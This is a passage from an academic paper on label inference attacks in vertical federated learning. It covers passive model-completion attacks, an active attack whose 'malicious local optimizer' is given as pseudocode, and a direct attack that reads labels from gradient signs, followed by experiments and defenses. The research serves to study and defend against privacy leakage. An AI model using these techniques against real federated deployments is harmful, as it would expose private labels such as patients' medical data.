better ML model to predict lung cancer according to both CT
and MRI scans. Unfortunately, they cannot directly share data
or labels to each other – disclosing patients’ private data to
other organizations is strictly forbidden by law.

VFL is designed to solve this dilemma. There are two kinds
of popular VFL architectures: VFL without model splitting
and VFL with model splitting [47]. In both architectures, there
is a trusted third-party server which preserves labels, and par-
ticipants that have vertically partitioned data. Every training
iteration of VFL can be divided into two steps. The first step
is the federated forward propagation. All participants do local
forward propagation using their local data and bottom models,
then submit local outputs to the server. The server uses the

aggregated outputs from all participants to compute the final
prediction and then computes the corresponding loss value.
The second step is the federated backward propagation. The
server does backward propagation and computes the gradients
of the loss w.r.t. the outputs from every participant. The gradi-
ents are sent back to every participant. Then each participant
continues the federated backward propagation and updates its
bottom model.

For VFL without model splitting, every participant runs a
bottom model, and the server does not run any model. Each
participant’s bottom model gives an output; then, the server
simply sums up all outputs to get the final output. For more
detailed description of the training algorithm of VFL without
model splitting, please refer to Appendix A. Actually, for
VFL without model splitting, each participant has access to
the output layer, which might bring a significant label leakage
risk. We will introduce this risk in detail and show how to
exploit it in Section 3.5.

VFL with model splitting is designed with the idea of split
learning [47]. The whole ML model is split into a top model
and some bottom models at a specific middle layer, referred to
as the cut layer. As shown in Figure 1, every participant runs
a bottom model that learns hidden representations of his/her
local data. The server runs a top model to aggregate hidden
representations from every participant, and then computes the
final output. Backward propagation is completed by sharing
gradients of the cut layer. For more detailed description of the
training algorithm of VFL with model splitting, please refer to
Appendix A. In VFL with model splitting, participants have
no access to the last layer of the DNN. Therefore, the labels
on the server are more secure.

After the training process is finished, input features and
trained bottom models are still preserved by every participant.
Hence, at the inference time, VFL requires all participants
to get involved. This is different from the situations of HFL,
where the trained global model is shared to every participant,
and participants can do inference individually.

In real world applications, a fully trusted third-party server
is hard to implement, thus the server in VFL is usually man-
aged by one of the participants, as shown in Figure 1. In this
architecture, there is one participant holding both labels and
part of the vertically partitioned data. In addition to a bottom
model, it also runs the top model. However, this architecture
has no fundamental difference from the VFL with model split-
ting described above. Actually, this architecture suits best for
the scenarios that one participant, who exclusively owns the
labels but possesses few features, wants to improve its model
performance by incorporating more features from other par-
ticipants that might come from different business domains.
Although the private labels never leave the hand of the par-
ticipant, in the following, we show that they might still get
leaked via label inference attacks.
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3 Label Inference Attacks

In this section, we first share the insights on why VFL is
vulnerable to label inference attacks, and then we design three
kinds of label inference attacks based on the insights.

3.1 Possible Privacy Leakage in VFL
In the training process of VFL, participants and server do
not exchange data or labels directly; instead, they exchange
intermediate computation results. However, there are still
risks of privacy leakage. We discover that the current design
of VFL has inherent vulnerabilities to label inference attacks.
In the following, we share our findings on two components of
VFL that may cause label leakage: leakage from the trained
bottom model and leakage from the gradients.

Leakage from the Trained Bottom Model. VFL
with/without model splitting requires a bottom model trained
locally by each participant to embed the input features to a
latent space, which avoids the raw features being directly sent
to the server. Additionally, this bottom model is within the
full control of a potential adversarial participant during both
the training and inference stages. Though this design protects
the privacy of features from participants, it also empowers
an adversary to infer the privately owned labels. The funda-
mental reason is that the bottom model is optimized by VFL
to provide a more indicative feature representation to predict
the labels. The expressiveness of a malicious bottom model
depends on how well it got trained and how close it is to the
final prediction layer. We will introduce two kinds of label
inference attacks that exploit the expressiveness of the trained
bottom model.

Leakage from the Gradients. In VFL, every participant
can receive the gradients of the loss w.r.t. the outputs sent to
the server. As the loss is computed by measuring the error
between the predicted label and the ground-truth label, its
gradients contain hidden information about labels. It can be
further inferred that the closer a given layer is to the final
prediction layer, its gradients contain more information about
the labels. Therefore, instead of relying on the expressiveness
of the trained bottom model, an adversary might be able to
perform label inference attacks simply based on the received
gradients. In this paper, we introduce a label inference attack
by analyzing the sign of the received gradients under the
setting of VFL without model splitting.

3.2 Threat Model
We assume that K participants (where K ≥ 2) jointly train a
ML model using the VFL framework described in Section 2.2.
Each participant holds partial features for the ML model. We
assume that the features held by each participant are useful
for the prediction task, which is reasonable because only if
a participant has valuable features, will it be allowed to join
the VFL collaboration. The labels of the training dataset are

privately owned by one participant. This participant also con-
trols the server running the top model. One of the rest of the
K−1 participants is the adversary with the goal to infer the
privately owned labels. Note that the adversary’s goal is to
infer the labels of any interested samples, not just the ones in
the training dataset.

An illustration of our label inference attacks is shown in
Figure 1. At each training round, each participant receives the
gradients of the loss w.r.t. his/her bottom model’s outputs from
the server, and then uses them to update his/her bottom model.
The adversary can optionally exploit the received gradients
to conduct attack in the training stage. Additionally, once the
training process is over, each participant gets a trained bottom
model. With the help of a small amount of auxiliary labeled
samples, the adversary can further train a model for label
inference based on the trained bottom model. Finally, to infer
the label of an interested sample, the adversary also needs
to have the sample features required by the trained bottom
model.

3.3 Passive Label Inference Attack through
Model Completion

Labels preserved by the server are considered to be well pro-
tected because any participant cannot access the top model.
However, we demonstrate that an adversary can infer the
labels based on his/her locally owned bottom model. As dis-
cussed in Section 3.1, the trained bottom model of an ad-
versary can transform the features he/she owns to a very
indicative representation to predict the labels. Therefore, the
adversary can fine-tune the bottom model with an additional
classification layer for label inference using a small amount
of auxiliary labeled data. We name this attack as the passive
label inference attack through model completion.

Model Completion. After the training process, the adver-
sary gets his/her trained bottom model. Then, the adversary
adds additionally randomly initialized layers on top of the
trained bottom model to make a “complete model” for label
inference. We refer to these additional layers as the inference
head. We assume that the adversary has a small amount of
auxiliary labeled data to fine-tune the complete model. Specif-
ically, in our design, a few dozens of auxiliary labeled samples
are usually sufficient, e.g., 40 auxiliary labeled samples ver-
sus 50,000 labeled training samples in our experiments. In
practice, it is not hard for an adversary to obtain this small
amount of labels. For example, if the adversary is a company,
it can simply buy the labels from its employees. To mitigate
the issue of limited auxiliary labeled data, the adversary can
fine-tune the complete model in a semi-supervised manner.
We choose the state-of-the-art semi-supervised learning algo-
rithm MixMatch [5] for computer vision (CV) datasets and
datasets with numerical or categorical features. Vanilla Mix-
Match uses various strategies, including training on pseudo
labels, regularization, and data augmentation. However, in
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Algorithm 1 Local malicious optimization of the adversary’s
bottom model
Require: Momentum parameter β, the gradient scaling fac-

tor’s resetting parameter γ, maximum gradient scaling fac-
tor rmax, minimum gradient scaling factor rmin, learning
rate η, initial bottom model parameters Θ, initial gradient
velocity v.

1: while stopping criterion not met do
2: Receive Gout put from the server
3: G← Backward(Gout put)
4: for each parameter θ in Θ and its gradient gθ in G do
5: vθ← β · vθ +(1−β) ·gθ

6: if is not the first criterion then
7: rθ← 1.0+ γ · (vθ÷ vlast)
8: rθ←Max(rθ,rmin)
9: rθ←Min(rθ,rmax)

10: vθ← rθ · vlast
11: end if
12: vlast ← vθ

13: θ← θ−η · vθ

14: end for
15: end while

implementation, we omit the part of data augmentation (such
as image flipping, image random cropping) in MixMatch to
make it suitable for tasks of other domains rather than just
CV. Specially, for text datasets, we choose the state-of-the-
art semi-supervised learning algorithm for natural language
processing, MixText [8]. For more detailed description of the
customized MixMatch algorithm, please refer to Appendix B.

Once the semi-supervised training is finished, the adversary
gets a fully-trained complete model. This model can predict
a label for every datum of the adversary. In this way, the ad-
versary successfully infers the label of any interested sample
with his/her available features, no matter whether the sam-
ple is within the training dataset or not. In the whole attack
pipeline, the adversary keeps being “honest but curious”, i.e.,
he/she strictly follows the rule of VFL both in the training
and inference stages. We name this attack as the passive la-
bel inference attack as the adversary does not attack in the
training or inference stage.

3.4 Active Label Inference Attack with the
Malicious Local Optimizer

In this attack, we show that the adversary can actively trick
the federated model to rely more on his/her bottom model so
as to increase its expressiveness. With better expressiveness
of the bottom model, the adversary can train a more accurate
complete model for label inference. Here the adversary is
assumed to actively do some malicious actions in the training
stage.

Specifically, instead of using normal optimizers such as
Adam or SGD with momentum, the adversary uses a spe-

cially designed malicious local optimizer. The key intuition
is that the adversary can accelerate the gradient descent on
his/her bottom model, and thus submits better features to the
server in each iteration. Finally, it makes the top model rely
more on the bottom model of the adversary rather than other
participants. In other words, the adversary can maliciously
scale up the learning rate when he/she trains his/her bottom
model. However, there is a challenge: a larger learning rate
does not always lead to more efficient gradient descent. An
overly large learning rate deviates network parameters from
the shortest path to a local optimum. For example, imagine
that we are training a neural network by gradient descent, and
the network is near a local minimum point in the parameter
space; if we use an overly large learning rate for gradient
descent, the network parameters will tend to oscillate around
the local minimum point [45].

To address this challenge, we design an adaptive malicious
local optimizer, which adaptively scales up the gradient of
each parameter in the adversary’s bottom model. The detailed
algorithm of the malicious local optimizer is shown in Algo-
rithm 1. Gout put is the gradient of the loss w.r.t. the output of
the adversary’s bottom model. G is the gradients of the loss
w.r.t. the parameters of the adversary’s bottom model. For
each parameter θ, rθ is its adaptive gradient scaling factor, and
vθ is the exponential moving average of each scaled gradient
in previous iterations (also known as the velocity). First, the
adversary receives Gout put from the server, then computes G
by backward propagating Gout put (line 2-3). Afterwards, vθ is
computed according to the definition of exponential moving
average (line 5). Next, if it is not the first iteration, for each
parameter θ and its gradient gθ of the bottom model, rθ is
computed as rθ← 1.0+ γ · (vθ÷ vlast), where γ is a hyperpa-
rameter set to 1.0 in our experiments and vlast is the value of
vθ in the last iteration (line 6-7). Further, rθ is bounded by
the maximum/minimum value to improve the stability of the
algorithm (line 8-9), and then vθ is scaled with rθ (line 10).
Finally, vlast is updated with vθ, and then θ is updated with vθ

(line 12-13).
By using this mechanism, the malicious local optimizer

scales up gradients with adaptive scaling factors. To illustrate
how the adaptive scaling factor works, we take one param-
eter as a simplified case, which only has two optimization
directions: increase or decrease. If the velocity (of this pa-
rameter) has an opposite sign with the velocity of the last
iteration, it is considered an oscillation signal. Correspond-
ingly, the malicious local optimizer will decrease the scaling
factor. This intuition is similar to the classic optimization
algorithm Rprop [40]. On the contrary, if the signs of the
velocities remain the same in a series of iterations, it can be
inferred that the parameter is steadily optimized in one di-
rection. Then the malicious local optimizer will increase the
scaling factor for faster optimization. Therefore, the adaptive
malicious local optimizer is able to accelerate the gradient
descent of the adversary’s bottom model while avoiding the
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negative influence of overly large local gradients.
By using the malicious local optimizer in the training stage,

the adversary can obtain a trained bottom model with more
hidden information about labels. We will visually prove this
point in Section 5.3. Then the adversary can follow the model
completion step in the passive inference attack to get the final
label inference model. The active label inference attack is
expected to boost the label inference accuracy and will be
evaluated in Section 5.1.

3.5 Direct Label Inference Attack
Instead of relying on the trained bottom model, as discussed
in Section 3.1, an adversary can also directly utilize the re-
ceived gradients to infer the labels of the training examples.
As a preliminary study, we only consider the VFL without
model splitting. Under this setting, the adversary is able to
receive the gradients of the final prediction layer. Taking such
an advantage, he/she can directly infer labels by analyzing
the signs of the gradients received from the server. We name
this attack as the direct label inference attack. The idea is
inspired by the work of Zhao et al. [60]. Their work focuses
on the data reconstruction attack in HFL, but one step of their
method is relevant to inferring labels. They demonstrated that
the signs of the gradients in HFL can leak the labels of the
training samples. We extend this idea to the field of VFL,
and present mathematical analysis and experiments to demon-
strate how the customized method works for label inference in
VFL without model splitting. The direct label inference attack
works for the mainstream loss functions used for the classifi-
cation tasks, including the cross-entropy loss, the weighted
cross-entropy loss, and the negative log likelihood loss.

Here we take the cross-entropy loss as an example. Gener-
ally, for the vertical federated model (without model splitting)
trained with the cross-entropy loss, we have:

loss(x,c) =−log
e∑k yk

c

∑ j e∑k yk
j

(1)

where x is the features of one sample, and c is the ground-
truth label. yk = [yk

1,y
k
2, ...] is the activations of the output layer

(logits) of the kth participant’s bottom model, and yk
i is logits

for the ith class. y = y1 + y2 + ...+ yK is the aggregated logits
from K participants. Assuming that the advth participant is
the adversary, then the gradient of the loss w.r.t. the ith logit
from the adversary is

gadv
i =

∂loss(x,c)
∂yadv

i
=−

∂logeyadv
c −∂log∑ j eyadv

j

∂yadv
i

=


−1+ eyadv

i

∑ j e
yadv

j
i f i = c

eyadv
i

∑ j e
yadv

j
i f i 6= c

(2)

Table 1: Model architectures. “FCNN-3” refers to the 3-layer
fully connected neural network.

Dataset
Bottom Model
Architecture

Top Model
Architecture

CIFAR-10 ResNet-18 FCNN-4
CIFAR-100 ResNet-18 FCNN-4
CINIC-10 ResNet-18 FCNN-4

Yahoo Answers BERT FCNN-4
Criteo FCNN-3 FCNN-3
BHI ResNet-18 FCNN-4

We have gadv
i < 0 if i = c and gadv

i > 0 if i 6= c because

∑ j eyadv
j ∈ (0,1). Therefore, the sign of gadv

i indicates whether
the ith label is the ground-truth label. As the server sends back
gadv

i to the adversary in every iteration, the adversary can infer
the label of the current training sample by the sign of gadv

i .
For the weighted cross-entropy loss, we have:

loss(x,c) = wc× (−log
e∑k yk

c

∑ j e∑k yk
j
) (3)

where wc is the weight of the ground-truth label, and the defi-
nitions of other symbols are the same as above. Apparently,
the new introduced weight wc(wc > 0) has no impact on the
fact that the sign of gadv

i indicates whether the ith label is the
ground-truth label. As for the negative log likelihood loss, it
is the same as the cross-entropy loss in practice.

To draw a conclusion, for VFL without model splitting,
the adversary can directly infer labels from the signs of the
gradients sent back by the server. The downside of this attack
is that it is only able to infer the labels of training examples,
as no gradients are available at the inference time. However,
in order to infer the label of an arbitrary sample, the adver-
sary can use the obtained labels of the training examples as
auxiliary labeled data to further conduct the designed passive
label inference attack.

4 Experimental Setup

4.1 Datasets and Model Architectures
We choose six datasets to evaluate our label inference at-
tacks: CIFAR-10, CIFAR-100 [22], CINIC-10 [11], Yahoo
Answers [39], Criteo [23] and Breast Histopathology Images
Dataset (BHI) [32]. CIFAR-10 is selected for the convenience
of later visualized analysis. CIFAR-100 is selected to prove
the feasibility of our attacks on datasets with many class la-
bels, e.g., 100 classes. CINIC-10, which is 4.5 times the size
of CIFAR-10, is selected to prove that our attack is also effec-
tive on large datasets. Yahoo Answers is selected to prove that
our method is applicable for various data types and model
architectures, e.g., text data and BERT [12]. Criteo is a real-
world dataset for predicting ad click-through rate, which is
selected to show that our attack is applicable in commercial
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Table 2: Attack performance of our passive and active label inference attacks. Since BHI is an unbalanced dataset, we use F1
score as the metric for evaluation. “Passive” or “Active” means that the VFL model is under the passive or active label inference
attack.

Dataset Train
Set Size

Test
Set Size

Number
of

Classes

Known
Label

Quantity
Per Class

Metric
Attack Performance

Train Set Test Set

Passive Active Passive Active

CIFAR-10 50,000 10,000 10 4 Top-1 Acc 0.8024 0.8484 0.6299 0.6342
CIFAR-100 50,000 10,000 100 4 Top-5 Acc 0.6267 0.6732 0.4319 0.4700
CINIC-10 180,000 90,000 10 4 Top-1 Acc 0.7206 0.7818 0.5440 0.5995

Yahoo Answers 50,000 20,000 10 10 Top-1 Acc 0.6335 0.6424 0.6370 0.6419
Criteo 80,000 20,000 2 50 Top-1 Acc 0.6828 0.6879 0.6785 0.6830
BHI 69,181 17,296 2 35 F1 Score 0.7614 0.7824 0.7519 0.7673

scenarios where categorical features and continuous features
are commonly used. BHI is a real-world medical dataset to
demonstrate the threats of label inference attacks in medical
scenarios. Table 1 shows an overview of the datasets and their
corresponding neural network architectures. The choices of
hyperparameters are based on the standard models from ML
literature, and all models use initialization methods in [19].

To fit these datasets for the scenario of VFL, we need to
preprocess them. For CV datasets with image classification
tasks including CIFAR-10, CIFAR-100 and CINIC-10, each
sample (an image) is cut in half from the middle line with
each participant holding a half, as the common setting for
experiments of VFL [26, 28]. For Criteo, the dataset with
categorical and numerical features, we first project all fea-
tures into a hash space of 213 dimensions, then cut the feature
dimensions in half, and then the benign participant and the
adversary both holds 212 dimensions. While splitting raw fea-
tures before projecting them into the hash space is a more
realistic approach on this dataset, we choose the approach
above to guarantee that the features assigned to each partici-
pant are valuable for the original task to some extent, which
is corresponding to the assumption described in Section 3.2.
For Yahoo Answers, the dataset for text classification, each
sample (one paragraph of text) is split into two paragraphs
with each participant holding one of them. As for BHI, each
patient in the dataset has several medical image patches. Thus,
we use it for both two-participant and multi-participant ex-
periments. In both settings, we assign the available image
patches of a patient with the same label to each participant in
a round-robin manner.

For more details of these datasets, please refer to Ap-
pendix C.

4.2 Experiment Environment and Parameter
Settings

All experiments are performed on a workstation equipped
with Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz, 32GB
RAM, and four NVIDIA GTX 1080Ti GPU cards. We use Py-
Torch to implement DNNs. We assume the adversary has 40,
400, 40, 100, 100 and 70 auxiliary labeled samples for CIFAR-

10, CIFAR-100, CINIC-10, Yahoo Answers, Criteo and BHI,
respectively. As for other parameter settings of the passive
and active label inference attacks, please refer to Appendix D.

5 Attack Evaluation

5.1 Attack Performance
With the settings in Section 4, on all the six evaluated datasets,
the federated models get good performance with respect to
the original tasks (top-1 accuracy of 0.8280, 0.7369, 0.7167,
0.7132 on CIFAR-10, CINIC-10, Yahoo Answers and Criteo,
respectively; 0.7511 top-5 accuracy on CIFAR-100; 0.8340
F1 score on BHI). Then, in this section, we evaluate the per-
formance of our label inference attacks.

Performance of the Passive Label Inference Attack. The
experimental results of the passive label inference attack on
the six datasets are reported in Table 2. Our attack achieves
good performance with the top-1 accuracy/F1 score of around
0.75 on CIFAR-10, CINIC-10 and BHI. On the datasets with
more difficult tasks such as CIFAR-100 and Criteo, our attack
still achieves a good performance with a top-5/top-1 accuracy
of around 0.70. On Yahoo Answers, our attack achieves a
top-1 accuracy of around 0.65. Considering that the state-of-
the-art performance on Yahoo Answers is a top-1 accuracy
of 0.7762 [44], the performance of our attack is as expected
on this dataset. Further, we find that by exploiting the labels
inferred by the passive attack, the adversary can even gain
additional power to infer other private information related to
the labels. For details, please refer to Appendix E.

Performance of the Active Label Inference Attack. To
show that our active label inference attack can further boost
the attack performance, we use the malicious local optimizer
in Section 3.4 to update the adversary’s bottom model in
the training stage. The attack performance is shown in Ta-
ble 2. On all the six datasets, the active label inference attack
outperforms the passive label inference attack. For example,
on CINIC-10, the active attack boosts the top-1 inference
accuracy from 0.7206 to 0.7818 on the training dataset and
from 0.5440 to 0.5995 on the testing dataset. The main rea-
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son is that the malicious local optimizer can make the top
model rely more on the adversary’s bottom model, and thus
the adversary’s bottom model learns a more indicative feature
representation to predict the labels. More analysis and proofs
are presented in Section 5.3.

Comparison to the Direct Semi-supervised Learning. The
key insight for our passive and active label inference attacks is
that the bottom model of the adversary is trained to transform
the input features to an indicative representation to predict the
labels. To show the capability of the trained bottom model, we
compare the label inference accuracy when the adversary uses
the direct semi-supervised learning, i.e., the adversary uses
the same model architecture but with a randomly initialized
bottom model instead. The same semi-supervised training
strategy is employed with the same amount of auxiliary la-
beled samples. For simplicity, we here use CIFAR-10 as an
example dataset to conduct the evaluation. The results are
reported in Table 3. It can be seen that our passive label in-
ference attack achieves much better label inference accuracy
than the direct semi-supervised learning. As a particular case
in Table 3, when the adversary has only ten labeled samples,
i.e., one labeled sample for each class, the top-1 inference
accuracy of the direct semi-supervised learning is only 0.1157
on the training dataset. This is as expected because it is al-
most impossible for the direct semi-supervised learning to fit
well with so few labeled samples. However, with the same ten
labeled samples, our passive label inference attack achieves
a good top-1 inference accuracy of 0.6554. This proves the
inference capability of the trained bottom model, as the only
difference between our passive label inference attack and the
direct semi-supervised learning is whether the bottom model
has been pre-trained. This experiment also explains why our
passive attack based on model completion is effective even
with few auxiliary labels. Firstly, the inference capability of
the trained bottom model is strong. Secondly, the state-of-the-
art semi-supervised learning algorithms further empower the
inference ability of the attacker’s complete model.

Performance of the Direct Label Inference Attack. As
stated in Section 3.5, the direct label inference attack is appli-
cable for VFL frameworks without model splitting and can
only infer the labels of samples in the training dataset. We
evaluate its performance on all the six datasets and our ex-
periment shows that the direct label inference attack achieves
a top-1 accuracy of 1.0000 on every dataset, which is as ex-
pected because the direct label inference attack is based on
deterministic mathematical derivation.

Impact on the Performance of the Original Task of a VFL
Model. To be stealthy, attacks against VFL should not de-
grade the performance of its original task evidently. The di-
rect/passive label inference attack does not attack in the train-
ing stage, so there is no degradation on the federated model’s
performance on the original task. However, the active label
inference attack may influence the performance of the origi-

Table 3: The impact of the amount of auxiliary labeled data
on CIFAR-10, and the attack performance comparison be-
tween the passive label inference attack and the direct semi-
supervised learning. Attack performance is measured by top-1
accuracy.

Known Label
Quantity

Passive Label Inference Direct Semi

Training
Dataset

Test
Dataset

Training
Dataset

Test
Dataset

10 0.6554 0.5235 0.1157 0.1138
20 0.7080 0.5542 0.1187 0.1166
40 0.8024 0.6299 0.1698 0.1683
120 0.8406 0.6305 0.1866 0.1846
320 0.8544 0.6392 0.3286 0.3218

Table 4: The impact of the active label inference attack on the
performance of the original task.

Dataset Metric Model Performance under:

No Attack Active Attack

CIFAR-10 Top-1 Acc 0.8280 0.8139
CIFAR-100 Top-5 Acc 0.7511 0.7500
CINIC-10 Top-1 Acc 0.7369 0.7400

Yahoo Answers Top-1 Acc 0.7167 0.7120
Criteo Top-1 Acc 0.7132 0.7128
BHI F1 Score 0.8340 0.8504

nal task, since it manipulates the training process. To evaluate
the overhead of the active label inference attack, we conduct
experiments to compare the original task’s performance on
the test datasets with/without the active label inference attack.
The results are shown in Table 4. It can be seen that the active
label inference attack has a very small impact on the perfor-
mance of the original task. For example, on CIFAR-10, with
the active attack, the federated model’s top-1 accuracy on the
original task decreases by 0.0141, while on Criteo, the de-
crease is only 0.0004. On BHI, the active attack even slightly
boosts the federated model’s F1 score on the original task,
from 0.8340 to 0.8504. The underlying reason is that though
the active label inference attack tricks the federated model
to rely more on the adversary’s bottom model, it does not
“force” the federated model to do so. If the adversary’s bottom
model cannot be optimized to improve the performance of the
federated model, as discussed in Section 3.4, the malicious
local optimizer will catch the signal of oscillation and then
gradually stop the active attack by automatically decreasing
the gradient scaling factor.

5.2 Sensitivity Evaluation
In this subsection, we study various of factors that may affect
the performance of our passive and active attacks. Experimen-
tal results of more sensitivity evaluations can be found in the
supplementary material of this paper [14].
Impact of the Quantity of the Adversary’s Features. Our
passive or active label inference attack trains a complete
model based on the adversary’s bottom model. Then the com-
plete model is used to infer labels, taking the adversary’s
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Figure 2: The impact of the quantity of the adversary’s fea-
tures.

available local data as input. Therefore, the quantity of the
adversary’s local features could determine the upper bound of
the attack performance. We conduct experiments on Criteo to
investigate the impact of the adversary’s feature quantity. All
the 213 feature dimensions are firstly randomly sorted. Then,
different fractions of the feature dimensions are assigned to
the adversary. The upper bound is obtained using all the la-
bels to directly train an inference model with the adversary’s
features. As shown in Figure 2, the adversary can hardly in-
fer labels when he/she has only 12.5% of the features with
the passive attack. However, with the active attack, the top-
1 inference accuracy is boosted to around 0.60. When the
adversary has over 35% of the features, the top-1 inference
accuracy of both attacks is above 0.65. Further, as expected,
the inference performance of both attacks is within the upper
bound. We can draw three conclusions from this evaluation.
First, generally, the more features the adversary has, the better
the attack performance is. Second, our active label inference
attack steadily outperforms the passive label inference attack,
even when the adversary has a small quantity of features.
Third, the attack performance of the passive or active attack
is limited within the upper bound determined by the quantity
of the adversary’s features.

Amount of Auxiliary Labeled Data. Our passive and ac-
tive label inference attacks need additional labeled samples to
train the complete model via semi-supervised learning. The
amount of available auxiliary labeled data may impact the
attack performance. Therefore, we evaluate the accuracy of
our passive label inference attack on CIFAR-10 with different
amounts of auxiliary labeled samples. As shown in Table 3,
more auxiliary labeled samples indeed increase the attack ac-
curacy. However, as the number of auxiliary labeled samples
grows, the attack accuracy increases more and more slowly.
In practice, an attacker does not need a large amount of auxil-
iary labeled samples to get a reasonable attack accuracy. For
example, 40 auxiliary labeled samples, which is much smaller
comparing with the 50,000 training samples, help the passive
attack reach a top-1 accuracy of 0.8024.

Multi-participant Experiment. As the number of partici-
pants increases in VFL, the contribution from each participant
might be weakened. This indicates that the latent feature rep-
resentation from an adversary might also be less indicative

Figure 3: Performance of the active attack in multi-party
setting on BHI.

Table 5: GradCAM visualization of the passive and active
label inference attacks on CIFAR-10. The left half of image
is the datum of the adversary.

Original Image
in CIFAR-10

GradCAM
under Passive

Label Inference
Attack

GradCAM
under Active

Label Inference
Attack

for label inference. To study this factor, we evaluate the per-
formance of our active label inference attack with different
number of participants on the BHI dataset. The input features
are evenly divided among the participants.

As shown in Figure 3, the performance of the active label
inference attack, measured by the F1 score, degrades when
the number of participants increases. This is consistent with
our expectation, as the top model’s reliance on the features
provided by the adversary’s bottom model degrades. However,
the F1 score of the active label inference attack is still over
0.70 when there are up to eight participants. When there are
ten participants, the F1 score drops to around 0.60, while it is
worth to mention that different from HFL, which may involve
hundreds of participants in practice, VFL in practice usually
has only several participants with two-participant VFL as the
most common case [7]. The situations where a large number
of participants join in VFL is rare.

Even under the multi-participant scenario, we find that
the adversary can add overlapping features to his/her bot-
tom model to boost the attack performance. VFL assumes
that the features from the participants are disjoint and indeed
participants usually agree on the feature set that each one
should provide. However, in practice, it is very common for
two participants to have overlapping features, e.g., a bank and
a financial company are very likely to both have user income
features. Therefore, the adversary can maliciously add the
overlapping features to its bottom model to have better ca-
pability of inferring the labels. In our experiments with ten
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Figure 4: t-SNE projection of the outputs of the adversary’s
bottom model. Different color represents different labels.

participants, the adversary can only achieve a F1 score of
0.6446, if the features are evenly assigned to the participants.
However, if the adversary intentionally adds 2 overlapping
features, the F1 score is boosted to 0.7638.

5.3 Why the Active Label Inference Attack
Works

To better understand how the active label inference attack
boosts attack performance compared to the passive label in-
ference attack, we use a visualization tool, GradCAM [42],
on CIFAR-10. GradCAM can highlight the important regions
in the image for predicting the class. We find that if the ad-
versary uses the malicious local optimizer to update his/her
bottom model in the training stage, the top model will pay
more attention to the adversary’s local data in the end. Table 5
shows some image samples in CIFAR-10 and their GradCAM
results under the passive and active label inference attacks.
As described in Section 4.1, the left half of the image is the
datum of the adversary, while the right half of the image is the
datum of the benign participant. It can be seen that after train-
ing with the malicious local optimizer, the whole federated
model relies more on the datum of the adversary.

From above analysis, it can be further inferred that with
the malicious local optimizer’s help, the adversary’s bottom
model learns more indicative representations of his/her local
features. To prove this, we use t-SNE [46] to visualize the
distribution of the adversary’s bottom model’s outputs. As
shown in Figure 4, the adversary’s bottom model learns better
in separating samples from each class with the active attack.
As expected, the experimental results here is correlated to
the active attack performance in Table 2. For example, from
Figure 4 (a) and (d), it is evident that the bottom model learns
much better representations with the active attack, which is
corresponding to the fact shown in Table 2 that the active
attack effectively boosts the top-1 inference accuracy from
0.8024 to 0.8484. However, on Criteo, the bottom model
seems to learn slightly better representations, which is shown
in Figure 4 (b) and (e). Correspondingly, Table 2 shows that
although the active attack successfully boosts the attack per-
formance (from 0.6828 to 0.6879, top-1 accuracy), the boost
is not as effective as that on CIFAR-10.

To sum up, with the active attack, the adversary gets a
trained bottom model containing more information about
labels. Thus, after the model completion, the complete model
performs better in predicting the labels, bringing better label
inference performance.

6 Defenses

6.1 Possible Defenses

Some defense approaches may mitigate our label inference
attacks. In the training process of VFL, the only informa-
tion sent to the adversary is the gradient from the server.
Thus, defensive strategies can be applied to the gradients to
prevent information leakage from the server to the adver-
sary. We consider four possible defense approaches against
label inference attacks: noisy gradients, gradient compression,
privacy-preserving deep learning and discreteSGD (a cus-
tomized version of signSGD [4]). These defense approaches
are commonly used by prior works to mitigate possible infor-
mation leakage in FL [20, 30, 43, 62].

Noisy Gradients. As discussed in [62], adding noise to gra-
dients is a common defense strategy in FL. In VFL, the server
can add laplacian noise to gradients before sending them to
participants.
Gradient Compression. Another defense strategy is sharing
fewer gradients, which is also known as gradient compres-
sion. Gradient compression is a strategy designed both for
communication efficiency and privacy protection [21]. Its
key idea is only sharing a proportion of gradients with the
largest absolute values. HFL can still produce highly-accurate
global model even when only 10% of the gradient values are
shared [43].
Privacy-preserving Deep Learning. Privacy-preserving
deep learning is a comprehensive privacy-enhancing method
introduced in [43]. It includes three defense strategies: differ-
ential privacy, gradient compression, and random selection. In
each iteration, the server does the following steps to protect
the gradients: (1) randomly selects one gradient value, gen-
erates noise, and adds the noise to the gradient value; (2) if
the gradient value after adding noise is larger than a threshold
value τ, keeps it, otherwise sets it to zero; (3) loops the first
two steps until θu fraction of gradient values are gathered.
Both θu and τ are hyperparameters to balance the trade-off
between model performance and defense performance.

DiscreteSGD. SignSGD [4] is proposed to reduce the com-
munication cost among workers in HFL and prevent privacy
leakage caused by gradients. Since it only preserves the signs
of gradients, it further boosts communication efficacy and en-
hances privacy protection. However, it is not proper to naively
apply signSGD to VFL. The reason is that in HFL, the shared
gradients from the sever to the participant include the updates
of all the model parameters, while the shared gradients in
VFL only include the gradients of the loss w.r.t. the outputs of
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a participant’s bottom model. A participant needs to do local
backward propagation based on the shared gradients to get
updates of all parameters of his/her bottom model. Therefore,
VFL is more sensitive to modifications on the shared gradi-
ents. Our preliminary experiment shows that directly applying
signSGD to VFL is very likely to make a VFL model fail to
converge on the original task.

With the above consideration, we evaluate a customized
version of signSGD by keeping partial magnitude information
of the shared gradients, which we name as discreteSGD, as a
possible defense. Specifically, the server first observes the dis-
tribution of the shared gradients in the first epoch. The mean
and the standard deviation of the distribution are denoted as µ
and σ, respectively. According to the three-sigma rule [37],
the server sets an interval as [µ−2σ,µ+2σ]. The gradients
outside of the interval are regarded as outliers and discarded.
Then, the server slices the interval into N sub intervals. In
the following training process, before sending gradients to a
participant, the server first rounds each gradient value to the
nearest endpoint of the sub intervals, e.g., a gradient value of
1.6 with sub intervals [0, 1] and [1, 2] will be rounded to the
endpoint 2. The hyperparameter N controls how much magni-
tude information of the shared gradients is preserved. While
VFL fails to converge with signSGD, discreteSGD is a more
suitable defense solution. As shown in Figure 5 (j)-(l), our
experiment proves that with N set to a reasonable value like
24, discreteSGD brings little degradation to a VFL model’s
performance.

6.2 Defense Evaluation

Defense Against the Active Label Inference Attack. We
evaluate the four defense approaches introduced in Section 6.1
against label inference attacks on three datasets: CIFAR-10,
Criteo and BHI. Similar experiments can be extended to other
datasets. The results are reported in Figure 5.

From Figure 5 (a)-(c), for noisy gradients, we do exper-
iments on several scales of laplacian noise to evaluate its
defense performance against the active label inference attack.
It can be seen that noise at a small scale cannot mitigate the
risk of label leakage. Large-scale noise can successfully miti-
gate label inference attacks, but with the cost of significantly
degrading the federated model’s performance on the original
task. A funny thing is that on CIFAR-10, the noise with a
scale of 1e−3 even makes our attack stronger, possibly be-
